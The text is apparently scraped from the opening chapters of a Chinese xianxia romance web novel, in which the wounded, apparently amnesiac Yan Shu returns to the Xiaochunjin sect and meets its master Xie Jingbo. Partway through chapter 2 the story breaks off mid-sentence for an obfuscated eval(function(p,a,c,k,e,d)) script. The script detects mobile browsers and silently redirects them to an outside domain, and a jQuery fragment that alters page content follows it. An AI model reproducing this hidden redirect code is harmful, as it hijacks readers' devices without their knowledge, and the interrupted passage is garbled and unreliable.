《我都要死了,你让让我》 1. 重逢 终灵山,销春尽宗门。 时值正午,艳阳高照,终灵山山间却不知为何起了一层雾。 两个身着玄色道袍的小弟子,缩着衣袖,牵着一匹马战战兢兢地走在山间小道上。 “你慢点走,师兄,今天的晚课不是还早......” “什么晚课,你忘了长老说的今日魔族躁动之事吗?” 走在前面的人明显年长一些,皱眉将人往前拉了几步,头也不回地继续向前走去。 “何况今日宵禁时间也提前了,你再不快点,忘了上次让看门人拿棍子满宗门撵的时候了?” 牵马的弟子浑身一颤,下意识快走了两步。 销春尽宗内的看门人是个满脸络腮胡的男人,不知年岁,不知来处,不知修为,只脾气火爆,性格古板。 自两人有记忆起,便一直守着销春尽的大门。 “这几月宵禁都提前了多少次了,还有这魔族躁动的事,提了这么多次从未有人碰见过,我看完全没必要这么紧张.......”牵马的弟子虽然脚下加快了脚步,但还是有些不满地小声嘟囔。 “噤声。”走在前面的弟子沉声打断他的话。 “传闻魔族如今的门主便是从销春尽叛逃出去的,我们不能掉以轻心。” 牵马的人愣了一下,讶然抬头:“什么?” 有关叛逃那人的所有画像、资料已全部销毁,如今剩下的也只有传言。 年长那人顿了顿,只摇了摇头没有继续说下去。 他环顾了一圈四周,又催促道:“快些走,这周围的灵气流动,总让我感觉有些不对。” 牵马的人闻言有些紧张地左顾右盼了几下,又逐渐放松下来。 “我未曾感觉有何不同啊,师兄,怕不是你感知错了吧。” 年长的那人眉头紧皱,似乎想要反驳,但又不知从何说起。 不远处朱红色的宗门大门已若隐若现,牵马那弟子精神也逐渐放松下来。 “你就不要杞人忧天了师兄,咱们这不是已经快到宗门了?现在时间还早,大门应该还没落锁,咱们赶紧回去别被看门人抓到.......” 他话还没说完,面前突然横过一条臂膀。 正絮絮叨叨的弟子猝不及防,一头撞了上去,被吓的直接“啊”了一声,瞬间往后缩了缩。 “怎么了怎么了师兄?是出事了——” 他话还没说完,目光转到宗门前的台阶上,突然噤了声。 面前的青石板上蜷缩着一个人。 正直正午,斑驳的阳光从树叶的缝隙间落下,将血迹斑驳的白衣用微光包裹,及腰的乌色长发绕过腰肢散落在侧。 那人身形微屈,侧卧着,只露出小半张瓷白的脸。 ——宛如一幅暖阳下的凄清画卷。 “好美......” 牵马的弟子不自觉感叹出声,下意识想往前一步,却被横在面前的胳膊再度拦下。 “阁下是什么人?”年长些的弟子皱着眉,沉声开口。 躺在地上的人动也未动,树林里不知哪里拂过一缕风,将长发下掩映的半张脸庞逐渐浮出了几分。 瓷白如玉,却带着几分病态的苍白,细长的睫毛微微颤抖,宛如初绽的梨花。 不知是昏是醒。 牵着马的弟子不自觉倒吸了一口气,挡在前面的人也一瞬间有些失神。 他反应过来什么,咬咬牙,忽然抬手直接向前甩出一道符咒。 “哎,松竹师兄——” 牵着马的弟子瞬间惊呼出声,下意识抬手想拦,却被强行按下。 “你别被他蛊惑了,松一。” 松竹挡在松一身前,紧绷着身子盯着对面的人。 “今日魔族躁动不安,他莫名出现在这里定有蹊跷。” “可万一 ——”松一急声开口。 “我有分寸。那个符咒若他没问题自然无事,但若他真的与魔族有关.......” 松竹的声音随着符咒的靠近逐渐低了下去,旁边的松一也没再说什么,紧张地转头望去。 下一秒,两人却同时倒吸了一口凉气。 那一道符咒没有打中面前的人,但也没有偏离,在接触到那一袭白衣的一瞬,就这么突然凭空消失了。 四周一片寂静,松竹眼中闪过一丝不可置信,松一无声地张了张口。 “......难怪师父前几天让我多跟着师兄一起学。” 松一喃喃开口:“我原以为是为了让我向你学习,原来是为了监督师兄学啊。” 松竹:....... “那是为了让我监督你不要逃晚课。”松竹咬牙。 “我的符咒没有问题,刚刚......” 他话还没说完,忽然看到那抹清瘦的身影似乎轻轻颤了一下。 松竹瞬间噤声,有些紧张地抬起头。 几声压抑的闷咳从面前传来,躺在地上的人有些摇摇晃晃地撑起身子,骨节分明的手指从袖口露出几分,在胸口按了按,身子似乎又颤了一下。 松竹感觉自己的心脏仿佛也跟着不自觉颤了一下,他忍不住再次开口。 “请问阁下是.......” 他话还没说完,忽然看到面前的人抬起了头,直直往向他这里望来。 松竹很难形容那一瞬间的感受。 仿佛忽然间被吸入了幽暗的深潭,黑如曜石的眸子无波无澜,虹膜上映照的暖光又如蝶翼般迷惑人心。 ——像是最精美的玉瓷,脆弱但分外危险。 松竹无声地张了张口,甚至都没有意识到自己何时失了神,就这么直愣愣地停在了原地。 下一秒,那双桃花眼轻轻一眨,露出了一副似笑非笑的神情。 “小师傅......” 松竹一时间没有听出那懒散语调间的不对劲,下意识地应了一声:“是——” 下一秒,他便看着那天仙一般的人冲着他眨了眨眼,笑眯眯地开口:“小师傅这般看着我,可是喜欢我呀?” 松竹:........ ——他活了一十八年,第一次有一种梦碎了的感觉。 · “什么喜欢,你在胡乱说什么.......”松竹脸“腾”一下就红了,难得有些着急地开口辩解。 旁边的松一有些新奇地看着自家师兄难得恼羞成怒的反应,“噗”的一声笑出了声。 燕纾倒是没什么特别的反应,似乎已经习以为常。 他弯了弯眼,随口“哦”了一声,撑着身子想要起身,动作却忽然一滞。 燕纾顿了顿,紧接着又若无其事地坐回了原地,转而左顾右盼地寻着什么。 “你在干什么?”一直观察着他的松一好奇开口。 “你来我们宗门到底是要干什么?先说好,宗门历来惩恶扬善,你若是来宗门寻求帮助的,最好先表明你的身份、来历.......” 他话还没说完,忽然看到对面的人抬起头,笑眯眯地冲他勾了勾手。 有潋滟的柔光从那双琥珀色的桃花眼间转瞬即逝,等松一再回过神时,已经鬼使神差地走到了燕纾面前。 紧接着,他便听燕纾笑眯眯地开口。 “我来宗门啊,是寻我的心上人。” 松一:??? 他脸瞬间爆红:“不,不是我,你在胡说什么,我都不认识你........” “我知道啊。” 燕纾微屈起双腿,手撑在身后,半仰着头无辜开口:“我现在起不了身了,想麻烦小师傅扶我起来一下。” 松一:....... ——他算是知道刚才燕纾习以为常的神情是怎么来的了。 “你别再胡说八道,我就来帮你.......” 松一嘟嘟囔囔别过头,想要上前一步去扶人。 但他刚往前探了一下,身前忽然被人一拦,紧接着松竹微沉的声音从身前传来。 “阁下到底是谁?” 松竹挡在松一身前,垂眸开口:“师弟不懂事,阁下请不要捉弄于他。若阁下想要我们的帮忙,烦请先报上名姓。” 燕纾看着面前小道士一本正经的做派,不知想到了什么,眼眸弯了弯。 他仰起头,刚准备继续说什么,神情却一凝,侧耳听了几秒,忽得转过头去。 “有东西要过来了。” 松竹怔了怔,下意识环顾了一圈四周。 周围安安静静,连原本时有时无的鸟鸣声似乎都逐渐远去,没有半分异样。 旁边的松一也忍不住开口:“你在说什么啊,且不说这周围什么也没有,而且这已近宗门门口,谁敢在这里放肆。” 他一边说一边抬头看着天色:“你要没什么事麻烦改日再来吧,马上就要宵禁了,我可不想因为你挨骂——” 他话还没说完,忽然看到了什么,瞬间瞪圆了眼睛:“你你你,你自己不是能起来吗——” 面前一袭白衣墨发的人撑着旁边的树干慢慢站起身,捂着胸口似笑非笑地瞥了他一眼。 “怎么,小师傅刚才对我还那么主动,短短几瞬就已经变心了?” 他一边说一边露出了一副泫然欲泣的表情,松一一下子被他闹了个大红脸:“你在胡说八道什么.......” 燕纾唇边多了一丝笑意,他刚想开口再说什么,忽然皱了皱眉,侧耳听了几息,正色道:“到我身后来。” 松竹似乎也意识到了什么,皱眉向远处望去,松一却还是一副茫然未知的模样。 “什么躲你后面?我刚才探查过了,周围没有任何异常响动,比平时还要安静.......” “你不觉得,是有点太安静了吗?” 燕纾盯着不远处树林里的某一点,轻声开口。 周围的鸟鸣声早已消失,连风过树梢的“沙沙”声不知何时也停了下来,仿佛进入了一个死寂的囚笼。 松一看着一旁随风微晃却没有发出任何声响的树叶,微微瞪大了眼。 旁边的松竹已经一言不发地上前一步,将燕纾挡在了身后。 松一回过神,有些绝望地看了一眼四周,心知今日一定是赶不上晚归的门禁。 他哀嚎一声,一边絮絮叨叨嘟囔着“又要挨骂”,一边也赶忙上前,拔出长剑和松竹并肩而立。 “行了你别乱动了,就算是有蹊跷.......也应是你躲我们身后,怎么说这也是我们宗门的地盘,你虽然身份未明,但来者即是客,理应我们保护你。” 他没有注意到,燕纾听到那句“来者即是客”时,神色古怪了一瞬,最终却也什么都没说。 周围的天色渐渐暗了下来,两个小道士一左一右护在燕纾身前,身上的袍袖无风自动,随着长剑的一点光晕飘飘扬扬。 燕纾盯了他们一会儿,忽然轻轻“咦”了一声。 松竹依旧冷静地注意着四周,松一被燕纾直接吓了一个激灵。 “你干什么?现在正是紧张的时刻,你能不能不要乱动乱出声......” 燕纾对着他比了一个抱歉的手势,却还是在左顾右盼地寻觅着什么。 松一:...... “我听到了,听到了。” 燕纾敷衍地点点头,忽然伸手扒拉了一下他的肩膀:“麻烦你让一下。” 松一:.......? 他终于有些急了:“我警告你,你别乱动啊,你本来就受了伤,躲在我们身后我们还能护着你,要是乱跑跑丢了.......唔!” 他话还没说完,忽然被旁边起来的劲风呼了满嘴。 松一吃了一嘴的土,手忙脚乱地“呸”了两声,好不容易重新转回头,正看到一个白色身影向前飘然而去。 松一:!!? “你干什么?你疯了——”松一急声开口。 他话还没说完,忽然听到一声巨响从面前传来,紧接着清润的声音从黑暗中破空而出。 “西北,乾位。” 松竹一剑破开不知何处袭来的劲风,听着燕纾的声音愣了一下。 他有些迟疑地抬起头,却听下一刻,燕纾的声音再次传来:“离散符,快!” 那声音清冷却仿佛带着某种威压,松竹下意识照做,手腕一转拿出一把离散符,径直向西北方甩去。 符咒在脱手的那一刻瞬间燃起,爆发出一阵刺目的白光。 一片目眩神晕间,松竹似乎听到了一声轻笑。 他不顾眼睛的刺痛,努力睁大眼朝前看去。 他看到那一袭白衣血迹斑驳的人一指点在虚空,清隽的手腕一转,一笔划出一道流畅的符画。 紧接着是一声轻呵。 “破。” 令人滞涩的憋闷感瞬间消散,旁边的松一一屁股坐在地上,控制不住地大声喘着气。 “好厉害,刚才那第一击你是怎么知道的?” 松一坐在地上,抬头望向燕纾。 他们刚才应该是不知何时被笼进了对方的结界。 刚才的风动无声、天色昏暗都是结界造成的结果,目的就是为了麻痹他们的感知。 当时第一击的时候他和松竹都没有反应过来,要不是燕纾抢先一步接下,替他们抢了那一点先机,他们后面会一直处于绝对被动的状态。 “是风。” 燕纾后背靠上树干,捂唇咳了咳,紧接着似乎有些嫌弃地看了一眼自己的袖口。 松一看到似乎有血色从上面一闪而过,但他没有在意,愣了一下,瞬间恍然:“是袖袍的鼓动方向!” 燕纾揉搓着袖口那一点暗色,勾了勾唇,点了下头。 “你们运气于剑,灵气充盈时带起的风把他们袭来的风向掩盖了,但仔细观察还是能看到细微的变化。” ——但松一清楚,那绝对不是仅靠仔细观察就能做到的。 结界的设立就是为了控制。 结界里的一举一动都被对方操控,既可以掩盖自己的行踪,又可以掌握先手,先发制人。 ——眼前的这个人要么是沉着冷静异于常人,要么是深藏不露实力非凡。 松一眼中的惊佩与好奇几乎不加掩饰。 他一骨碌爬起来还想问什么,却见燕纾突然似笑非笑地一转头:“这是宗门心法最基础的课,小师傅看起来没少逃晚课啊。” 松一:? 他张了张口,看着燕纾一边说一边颇为遗憾地摇摇头:“逃晚课不可取啊。” 莫名被戳到痛处的松一:??? 他好不容易顺平的毛再次炸了:“什么逃课,我可从来没有过,而且你知道我们宗门晚课那些老头讲的有多无聊——” 他下意识想要上前理论,松竹忽然抢先一步挡到他身前。 “......阁下到底 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松竹本就紧绷的心神瞬间警铃大作,他下意识抬剑格挡,随之而来的,却是一道笼在眼前的柔光。 松竹一愣。 “闭眼。” 燕纾夹杂着咳意的声音从不远处传来,似乎轻笑了一下:“那么一把的符炸都敢直视,眼睛不要了?” 他收回手,身子有些支撑不住地晃了晃,踉跄了一下,重重地靠在了身后的树干上。 眼睛的刺痛随着柔光的消散逐渐缓解,松竹见燕纾没有再说话,迟疑了一瞬,再次缓缓睁开眼:“你........” 他心中的各种疑虑几乎已经到达了顶点,张了张口,却见对面的人晃了晃,身子一软忽然朝地上跪了下去。 离他最近的松一被吓了一跳:“喂,你怎么了?” 他下意识伸手想要撑住旁边的人,面前的人却仿佛浑不受力,脱力地直往下坠。 松一好险不险在最后一刻揽住了他,一起跌坐了下去。 松一急声道:“喂,你醒一醒,你怎么了,不会是晕过去了吧——” 松竹疾步上前,半蹲下握住燕纾的手腕。 他被皮肤那冰凉的触感冷的皱了皱眉,还没按实,却感觉面前的人轻轻一挣,将手腕倏然藏了回去。 “你刚才伤到我了,小师傅。”燕纾缩在松一怀里,虚弱抬起头。 “你要对我负责啊小师傅,快带我回宗门治疗......” 松竹眉心跳了跳,他咬牙:“我何时伤了你?刚才那一剑我都没起剑气.......” “魔族来之前。” 燕纾眼眶微红地抬起头,一双桃花眼湿漉漉地蒙上了一层水雾:“你打向我的那个符咒......小师傅难道忘了吗,真的很痛的。” 他话音刚落,便感觉周围忽然安静了下来。 燕纾眨了眨眼,后知后觉地意识到似乎哪里不对。 紧接着便听松竹缓缓开口:“那是个显形符。” 燕纾委屈的神情瞬间一滞。 “没有威力,只能显形。” “阁下精通符咒,想必知道显形符的作用吧。” 旁边的松一反应过来,倏然一把将燕纾推开:“骗子,你又想骗我!” 燕纾身子被推的晃了一下,松竹盯着燕纾,语气微沉:“阁下三番五次、处心积虑想进我宗门,到底所为何事——” 他话还没说完,便看燕纾身子一颤,忽然爆发出一阵疾咳,紧接着偏过头,喉头一滚,吐出一口血来。 那一口鲜血正好喷到旁边的草丛间,阳光映射下碎成一地淋漓的血点。 燕纾咳的直不起身,捂住唇弯下腰,清瘦的背脊随着呼吸微微发颤。 松一神情间露出些许不忍,又想要蹲下身,被松竹死死拉住。 “阁下若身上真有伤,我们也不会为难阁下。但阁下须得告诉我们,来我们销春尽到底所为何事?” 面前的人没有说话,垂着头,如墨的长发垂落下来,随着他细碎的呼吸微微颤抖,遮住他半身寥落的血迹。 半晌,他似乎感应到了什么,撑在身侧的手指一颤,三枚铜钱倏然浮现在手指间。 燕纾低头静默了几秒,忽然抬头往两人身后那朱红色的大门望去。 朱红色的大门安安静静,没有任何动静。 但燕纾盯了几秒,忽然轻轻露出一个笑意。 “我都说了,我来宗门.......找我的心上人。” 松一“哼”了一声,只当他又在满嘴跑胡话:“什么心上人,你又在这里胡编乱造,你有本事告诉我那人是谁,我亲自去问——” 燕纾却不答,撑着旁边的树干摇摇晃晃地起身,慢慢走到木门前站定。 朱红色的大门色迹斑驳,往底下一点,还有不知哪来的一道道刻痕。 树荫的光斑落到门上,遮住了陈旧斑驳,也遮住了面前人眼底翻涌的情绪。 燕纾垂下眼,指尖从那些刻痕上一点点描过,轻轻按了按,忽然转头冲松一笑了一下:“好啊,我现在就告诉你。” 他收回手,屈起手指在门上一推一捻,葱白的指尖仿佛寥落的蝴蝶,在门上似乎随意划了几下。 松竹看着燕纾那个手势,皱了皱眉。 ——他总觉得那个手势有一种莫名的熟悉感。 下一秒,他看着燕纾屈起手指,在门上不紧不慢地叩了三下。 松一的眼睛瞬间睁大:“你疯了吗?都这个点了叩什么门——” 此时早已过了今日的宵禁时间,晚归的弟子一般都缩着尾巴想办法骗过看门人,偷偷溜进去,万分小心着别被抓获,再挨一顿棍子。 没有人敢这么明目张胆地直接过来敲门。 松一扑上来就想要制止他,在碰到燕纾的那一刻,忽然感觉手臂重量一沉。 面前的人如玉山倾颓,直接往旁边软倒了下去。 松一扶住他,愕然低头:“你干什么——” 他话还没说完,却被燕纾微弱的声音轻声打断:“一会儿谁应门,谁就是我的......心上人。” 松一一下子没反应过来:“什么?” 燕纾却没有再说话。 他半倚在他怀里,手指有些无力地攀着面前人的手臂,似乎轻笑了一声。 蝶翼般的睫毛颤了颤,支撑不住般一点点缓缓合上。 紧接着如玉山倾颓,白衣伴着血色轰然倒下。 松一急道:“喂,你——” 他话还没说完,木门“吱呀”一声轻响,终于缓缓打开。 松一急的满头大汗,也来不及看是谁,只急道:“喂,那个谁,你的心上人晕倒了,你快来接——” 他话还没说完,忽然听到松竹微沉的声音响起:“参见宗主。” 松一的声音戛然而止。 他僵硬地抬头,正对上谢镜泊无波无澜的眼眸。 松一两眼一黑。 四周一片寂静,谢镜泊半天都没有说话,松竹悄悄抬头,却发现自家宗主并没有看松一。 ——而是目光紧紧落在了他怀里昏迷不醒的那人身上。 松竹忽然想起,燕纾刚才叩门前那看似随意的手势,其实是符道里的一个古老的致敬起手式。 ——仿佛意思是......久别重逢。 2. 失忆 松竹为自己刚才的发现有些不可置信。 他犹豫了一下,还是咽下了心中的疑虑,保持着半弯腰的姿势,低声开口:“宗主,您今日怎么过来........” 他话还没说完,终于听到谢镜泊微冷的声音响起:“带回去。” 松竹愣了一下,旁边的松一更是直接茫然开口:“什么回去?宗主您要带这个来路不明的人回去?您平常不是从来不让外人进........” 松竹:....... 他为自家没有眼力见的师弟无声地叹了一口气,上前一步半挡在前面,直接打断了松一的话:“好的宗主,我们这就带......” 他迟疑了一下,一时间不知道怎么称呼面前这位。 下一秒,谢镜泊的声音从头顶传来。 “燕纾。” 松竹抬起头,只看到谢镜泊转身时翻飞的玄色衣摆。 “他名燕纾。” 松竹下意识应了一声,旁边的松一无声地松了一口气,低头看了怀里的人一眼:“也不知道他到底是什么人,宗主竟然都忘了宵禁的惩罚.......” 他话还没说完,下一秒,听得谢镜泊微冷的声音再次传来。 “你们俩,自去论功堂领罚。” “......是。” · 燕纾醒来的时候,只感觉胸口好像压了一块大石,怎么也上不来气。 他憋的眼前直发黑,下意识往床头摸索茶盏,却一把摸了个空。 他愣了一下,意识到什么,收回手轻笑了一声,撑着旁边的床榻想要坐起来,却一瞬间.......再次按了个空。 燕纾:??? ——天道就一定要他今天死在这吗。 他憋的头晕目眩,也看不清四周,干脆胡乱伸出手臂在旁边摸索,终于在即将坠地那一刻,手臂不知卡到了哪处,发出“砰”的一声闷响。 ——但好歹是止住了下坠的趋势。 “嘶.........” 手腕连带着手臂传来一阵钻心的疼,但好歹缺氧的状况缓解了不少。 他此时终于逐渐看清,自己正身处一件狭小的屋子,屋里空空荡荡,除了一张床和一个小案几外,再无其他。 ——破败的有些尴尬。 正如他此时的身体情况一般,半边身子倚着案几,单手撑着床铺,整个重心都落了出去,艰难地维持着这个别扭的姿势。 燕纾苦笑了一声,深吸一口气,想趁着没人重新坐直身子,下一秒却听门口传来一声惊呼。 “哎,你终于醒了——你干什么呢?!” 燕纾:........ ——看来不一定是天道要他死、也可能是这个房间克自己。 他干脆放弃了起身的动作,半抱着手臂靠在原地,头一歪,就这么个懒懒散散的姿势望向门口。 松一端着一碗汤药气急败坏地冲了进来:“你干什么呢?知不知道自己身体什么样就敢乱动,万一出事了......” “躺久了,起来靠一会儿。”燕纾慢慢悠悠地开口。 “再者,我要是出事了,也是这个房间老旧的缘故,我一个病人住这种屋子怎么能好好养病。” 燕纾眨眨眼,冲着松一笑了一下:“小师傅给我换一间上好的屋子,有暖炉,雕花大床,再要一盏长明灯点在那........” “你想的美,你点菜呢?你一个来历不明的人还想住上好的屋子。”松一毫不客气地打断燕纾的话。 他将手中的碗放到一旁,伸手想要将燕纾扶起来。 “我好不容易把你救回来,你自己不珍惜也就罢了,能不能珍惜一下我的心血。还有,什么小师傅,我叫松一,我已经快要及冠了,不小了。” 他扶上燕纾的手臂刚要使力,却见下一秒,面前的人借着他的手轻轻一按,衣摆一翻,重新坐回了床中央,不着痕迹地拂开了他的手。 松一愣了一下,为他难得的听话感到有些茫然:“你......这就坐回去了?” “来者即是客,客来了,我岂有不坐好的道理。”燕纾笑眯眯地开口,冲着松一微颔首。 “多谢小——师侄。” 松一被哄的一愣一愣的:“哦......那好。” 他话音刚落,忽然意识到燕纾又没说真话:“不对,你谁啊?谁就是你师侄了?而且你要真这么尊重我,刚才我进来的时候你怎么不坐好?” 燕纾捂唇咳了咳,笑着没有说话,松一咬了咬牙,瞪了他一眼,拿过旁边的白瓷碗。 下一秒,便听燕纾坚定开口:“我不喝。” 松一:? 松一:“......我还没说是什么呢。” “药啊。”燕纾微微凑过去闻了一下,又迅速往后撤了撤。“北沙参、麦冬、玉竹.......沙参麦冬汤加减的药方。” 他一边说着,一边嫌弃地往后又缩了几分:“又苦又没用,我不喝。” 松一被他一连串的话语整懵了:“你怎么对汤药这么了解.......不对,我的药怎么就没用了?” 他反应过来什么,瞬间跳了起来:“我的医术可是刚入门时就得师父亲口夸赞,虽还算不上顶尖,但至少是上乘——” “上京洲掌门,十二岁掌握所有存世毒理,十四岁炼出已绝世的毒药,十六岁自成一套毒理体系。”燕纾打了个哈欠,懒洋洋开口。 他抬起头,语气似乎带着一丝骄傲般,似笑非笑地望向松一:“上乘与顶尖,差别可不止一线。” 松一涨红了脸,无声地张了张嘴,似乎是被他怼的哑口无言。 燕纾满意地缩回被窝,等着面前的炮仗当场自燃气急败坏离开,或者被这一盆冷水浇的哭哭啼啼出去找师父抱大腿。 ——反正终归能跑出去免他喝药。 没想到下一秒,却听面前的人万分狐疑开口:“你怎么对上京洲掌门的事这么了解?你真的不是瞎编的吗?” ........这孩子脑子是缺根筋吗。 燕纾一时间不知道给出什么反应。 他眨了眨眼,忽然凑近松一,冲着他勾了勾手。 松一下意识凑近,下一秒只听燕纾小声开口:“其实我是上京洲掌门的........狂热追随者。” 松一:“.......你就是瞎编的吧!” 燕纾微微叹了一口气:“我对上京洲掌门仰慕已久,苦于一直没有机会靠近,只能一点一滴了解他曾经过往,努力追随........” 他话还没说完,忽然听到门口一个低沉的声音传来:“你要追随谁?” 燕纾的声音戛然而止。 谢镜泊站在门口,身后跟着神情有些复杂的松竹。 旁边的松一退后半步行礼,燕纾眸光微闪,只愣了一瞬,立刻笑眯眯改口:“当然是追随宗主您呀。” 松一毫不客气地冷哼一声,引来松竹一阵皱眉。 谢镜泊缓步走上前,盯了燕纾几秒,忽然冲着旁边的松一伸出手。 松一愣了一下:“宗主,您是要什么.......” “药碗,给我。”谢镜泊低声开口。 松一此时才想起来,他来这里的初衷是要让燕纾喝药。 他瞪了燕纾一眼,转头望向谢镜泊迅速开口:“宗主,还是我来吧,这个人奸险狡诈,惯会用小伎俩拖延,我按着他先把药灌下去,您再继续审问他——” 谢镜泊一直落在燕纾身上的目光终于一点点移开,碧色的眼眸无波无澜:“药碗,给我。” 松一声音戛然而止。 销春尽宗主二十一岁平定六界四道叛乱,一人一剑坐镇终灵山,销万古白雪,锁无垠春色。 冰冷薄情,不怒自威。 但对待宗内小辈,总还会有意收敛几分。 这是松一第一次感受到,谢镜泊扑面而来的威压感。 他无声地张了张口,下一秒,忽然感觉手中一空。 松竹将药碗从他手中迅速抽出,微弯下腰放到旁边的案几上:“我们先告退了,宗主。” 谢镜泊没有说什么,将目光重新移了回去,松竹也不再说话,拉着松一微一行礼,垂着头迅速退了出去。 “刚才吓死我了。”房门关上的那一刻,松一才终于松了一口气。 他拍了拍胸脯,有些迟疑地望向面前的木门:“师兄,是我的错觉吗,我怎么觉得宗主的神情有些不太对.......屋里的那个人就这么惹宗主生气吗?” 他探了探头:“那个人到底是什么身份?宗主真的认识他吗?” “......不知道。” 松竹神情复杂地看了自家缺根弦的师弟一眼,张了张口,一时间又不知道怎么说。 他盯了松一几秒,终于缓缓开口:“你读的医书里,有治疗脑部的方子吗?” 松一莫名其妙地点了点头:“有啊,师兄你是磕到脑子了吗?需要我帮你诊一下脉.........” “不用。” “你煎一副,给自己喝吧。” 松竹抛下一句话,转身头也不回地向后走去:“谨防你再不过脑子。” 松一:? · 木门的吱呀声随着屋外人远去的脚步声一同消散。 燕纾拥着被子坐在床榻的最角落,望着谢镜泊眨了眨眼。 谢镜泊没有看他,低头望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14685690|156899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向手中的药碗。 燕纾一句“不喝”还未下意识说出口,忽然感觉脖颈一凉。 一把长剑破空而出,在逼近他命脉时又生生止住,剑刃微倾,歃血寒凉。 那是谢镜泊的本命之剑——微尘里。 “一微尘里三千界”,一寸剑意,三千浮生,不过剑意便能伤人。 而被微尘里伤过的人,即便伤口愈合,再靠近时经脉也会感到隐痛,久而久之便可带来深入骨髓的痛楚。 ——据说当年魔族大战,最终关头便是谢镜泊手持微尘里,一剑定乾坤。 剑刃出鞘,无人不惧。 谢镜泊举着长剑,垂下眼,无波无澜地望着面前的人。 燕纾却似乎没有什么反应,只愣了一下。 他歪了歪头,望向再往前半寸便能直接割破他喉咙的剑刃上,神情不显恐惧,反而有些疑惑。 谢镜泊静静地盯着他。 燕纾皮肤本就有一种不带血色的苍白,在剑光的映衬下,连皮肤下青色的血管都清晰可见,似乎稍一用力便能割破。 面前的人却浑然不觉危险般,盯了几秒,忽然偏过头,纤细的脖颈往那剑刃上径直撞去—— 冰冷的剑刃闪着微光,谢镜泊瞳孔剧缩,手急急往后撤:“你干什么——” 却见那人前冲的动作又忽然戛然而止,稳稳停在离剑刃只差微毫的地方。 燕纾半撑着身子,抬头冲着他勾了勾唇:“谢宗主看来不愿伤我啊。” 他琉璃色的眼眸闪着探究的光:“不敢,还是不想?” 谢镜泊握着剑的手倏然攥紧。 他手臂倏然扬起,还没来得及动作,下一秒,只听“叮”的一声脆响,那柄冷冰冰的长剑被燕纾倏得弹歪了半寸。 “你做什么,你疯了?”谢镜泊再次被吓了一跳,没忍住咬牙,“你知不知道你方才若被刺伤——” “冷死了,离我这么近做什么。” 燕纾神情又恢复了一贯的懒散。 他有些嫌弃地收回手,搓着手指哈”了一口气:“怎么,谢宗主火气这么大,不过是不想喝药,便要杀了我?” 谢镜泊一时间似乎没有反应过来燕纾在说什么,举着剑神情阴冷地站在原地。 燕纾见他不答,眨了眨眼,装模作样地叹了一口气:“让我喝也可以,谢宗主跟我好好商量嘛,比如给我换一间好点的屋子我就喝。” 谢镜泊此时似乎终于回过神。 他盯了他几秒,忽一抬手,微尘里从他手中瞬间凭空消失。 “为什么不喝药?” 燕纾撇了撇嘴:“喝了又没用,治不好还白遭一份罪,不如不喝。” “你怎知没用?”谢镜泊不知有没有真信,只顺着他的话接了下去。 燕纾瞥了他一眼,装模作样地又叹了一口气:“我这身体是陈年旧疾了,暂时死不了,但也治不好,就先这么拖下去.......” 他话还没说完,忽然被谢镜泊沉声打断:“你身上有十几处外伤,两处内伤,肺经、心经都受过重创,体虚畏寒,脾胃不调——拖下去就是慢性死亡。” 燕纾的声音戛然而止。 谢镜泊捏着药碗的手一点点收紧,死死盯着面前一言不发的人。 “你的身体是怎么变成这样的?这所谓的‘陈年旧疾’是哪来的?” 房间里一片死寂,漂浮的尘埃随着光影一起一伏,坐在床上的人垂着眼,半张瓷白的脸隐在阴影中,看不真切。 谢镜泊死死地盯着他,半晌忽然听到一阵轻快的语调响起。 “所以你之前.......真的认识我啊?” 燕纾抬起头,一双桃花眼间不知何时盛满了笑意:“你认识从前的我,知道我曾经是什么样。” 他忽然跪坐起身,如新奇的小动物般,撑着身子凑到了谢镜泊面前:“谢宗主对我这么了解,看来真的是.......我的心上人啊。” 谢镜泊捏着药碗的手倏然收紧,燕纾仿佛毫无察觉般,继续笑盈盈地开口:“我们什么时候完婚啊,心上人?” “燕宿泱!”谢镜泊咬牙。 燕宿泱是他的名。 燕纾眼眸间似乎闪过一丝诧异,却又迅速掩下,若无其事地眨眨眼,“哎,我在。” “我没有时间跟你胡闹,你到底回来是要干什么——” “我失忆了。” “咣当”一声脆响,白瓷碗摔到地上,漆黑的汤药洒了满地,浓郁的药香瞬间盈满整个房间。 燕纾轻轻地“啊”了一声,有些无辜地抬起头。 谢镜泊后退一步,向来平静的脸上露出几分愕然与猜疑。 他咬牙开口:“你说什么?” 3. 吐血 燕纾眨了眨眼,又重复了一遍:“我失忆了。” “你失忆了,你怎会知我叫谢镜泊。”谢镜泊冷声开口。 有一瞬间,床上懒散随意的人眼中闪过一抹微光,却又被迅速掩藏在半垂的眼皮下,看不清晰。 “方才他们说你是宗主——而销春尽宗主大名天下谁人不知。” 燕纾垂着眼,轻声开口:“我醒来时便在这终灵山间,身畔只有一块玉牌写着我的名姓。我不知来时,不知去路,不知自己身份,不知这满身伤病从何而来......” 谢镜泊皱了皱眉,他看着燕纾抬起头,眼眶微红。 “我没有归途,也不知去处。” 燕纾盯着面前的人,声音放的越轻:“行尽江南,不与离人遇。只有一点我确实知晓——” 谢镜泊眉心跳了跳,隐隐觉得哪里不对。 下一秒,果然只见面前一袭白衣的人抬起头,眼眶微红地望向他。 “我知晓,你是我的心上人。” 燕纾靠在床头,一双桃花眼微微弯起,眸光恍惚,看不清真假。 “我马上就要死了,临死前特意回来想见见你啊,谢镜泊。” 他笑眯眯抬起眼:“所以你什么时候娶我呀?” 谢镜泊:........ 房间里静了两秒,谢镜泊垂在身侧的手一点点攥紧。 他盯了燕纾一会儿,忽然缓缓开口。 “除此之外?” “除此之外......我还听说销春尽有一味药,能起死人肉白骨,可救我一命。”燕纾眨了眨眼,似乎预料到谢镜泊会这么问般,自然接口。 谢镜泊紧攥的手蓦然放松。 他闭了闭眼。 ——是了。 ——这才是他认识的燕纾。 无利不起早。 曾经能为了自己的利益抛下宗门、抛下他,如今断不可能因为什么“要死了回来看看故人”这种虚无缥缈的事,冒险回来。 那边燕纾还在继续说着,谢镜泊心中松了那口气,重新睁开眼。 